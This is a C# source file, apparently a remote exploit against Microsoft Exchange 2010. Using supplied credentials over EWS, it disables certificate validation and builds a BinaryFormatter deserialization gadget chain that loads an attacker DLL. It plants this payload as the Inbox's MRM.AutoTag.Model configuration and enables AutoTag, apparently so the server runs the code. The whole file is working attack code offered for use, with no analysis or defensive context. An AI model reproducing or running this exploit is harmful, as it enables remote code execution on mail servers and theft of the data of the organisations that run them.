
using System;
using System.IO;
using System.Net;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Web.UI.WebControls;
using System.Runtime.Serialization;
using System.ComponentModel.Design;
using Microsoft.Exchange.WebServices.Data;

namespace Zcg.Exploit.Remote.Exchange
{
    class Exchange2010AutoTag
    {
        static void Main(string[] args)
        {

            try
            {
                ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);
                service.Credentials = new WebCredentials(args[1], args[2]);
                ServicePointManager.ServerCertificateValidationCallback = CheckValidationResult;
                service.Url = new Uri("https://" + args[0] + "/ews/Exchange.asmx");
                {
                    byte[] data = GeneratePayload(File.ReadAllBytes("e.dll"));
                    UserConfiguration u = null;
                    Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
                    
                    try{
                    u=UserConfiguration.Bind(service,"MRM.AutoTag.Model",folder.Id,UserConfigurationProperties.BinaryData);
                    u.Delete();
                    }
                    catch{}
                    try{
                    u=UserConfiguration.Bind(service,"MRM.AutoTag.Setting",folder.Id,UserConfigurationProperties.Dictionary);
                    u.Delete();
                    }
                    catch{}
                    
                   
                    
                    u = new UserConfiguration(service);
                    u.BinaryData = data;
                    u.Save("MRM.AutoTag.Model", folder.Id);
                    
                    try{ 
                    u = new UserConfiguration(service);
                    u.Dictionary["AutoTagEnabled"] = true;
                    u.Dictionary["NumberOfPredictedEmail"] = 0;
                    u.Dictionary["NumberOfCorrectedEmail"] = 0;
                    u.Dictionary["NumberOfRetaggedEmail"] = 0;
                    u.Save("MRM.AutoTag.Setting", folder.Id);
                    }catch{}
                    
                    Console.WriteLine("UserConfiguration created.");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
        static bool CheckValidationResult(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors)
        {
            return true;
        }
        static IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector)
        {
            Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
              .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
              .MakeGenericType(typeof(TSource), typeof(TResult));
            return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>;
        }
        static byte[] GeneratePayload(byte[] dll)
        {
            byte[][] e1 = new byte[][] { dll };
            IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly>(e1, null, Assembly.Load);
            IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>>(e2,
                null,
                (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate
                    (
                        typeof(Func<Assembly, IEnumerable<Type>>),
                        typeof(Assembly).GetMethod("GetTypes")
                    )
            );
            IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>>(e3,
                null,
                (Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerable<Type>, IEnumerator<Type>>),
                    typeof(IEnumerable<Type>).GetMethod("GetEnumerator")
                )
            );
            //bool MoveNext(this) => Func<IEnumerator<Type>,bool> => predicate
            //Type get_Current(this) => Func<IEnumerator<Type>,Type> => selector
            //
            //WhereSelectEnumerableIterator`2.MoveNext => 
            //  if(predicate(IEnumerator<Type>)) {selector(IEnumerator<Type>);} =>
            //  IEnumerator<Type>.MoveNext();return IEnumerator<Type>.Current;
            IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type>(e4,
                (Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerator<Type>, bool>),
                    typeof(IEnumerator).GetMethod("MoveNext")
                ),
                (Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerator<Type>, Type>),
                    typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()
                )
            );
            IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance);
            // PagedDataSource maps an arbitrary IEnumerable to an ICollection
            PagedDataSource pds = new PagedDataSource() { DataSource = end };
            // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
            // Class is internal so need to use reflection.
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
            DesignerVerb verb = new DesignerVerb("", null);
            // Need to insert IDictionary using reflection.
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            // Pre-load objects, this ensures they're fixed up before building the hash table.
            List<object> ls = new List<object>();
            ls.Add(e1);
            ls.Add(e2);
            ls.Add(e3);
            ls.Add(e4);
            ls.Add(e5);
            ls.Add(end);
            ls.Add(pds);
            ls.Add(verb);
            ls.Add(dict);
            Hashtable ht = new Hashtable();
            ht.Add(verb, "");
            ht.Add("", "");

            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }

            fi_keys.SetValue(ht, keys);

            ls.Add(ht);
            BinaryFormatter fmt = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt.SurrogateSelector = new MySurrogateSelector();
            fmt.Serialize(stm, ls);
            return stm.ToArray();
        }
    }
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }

    }
}
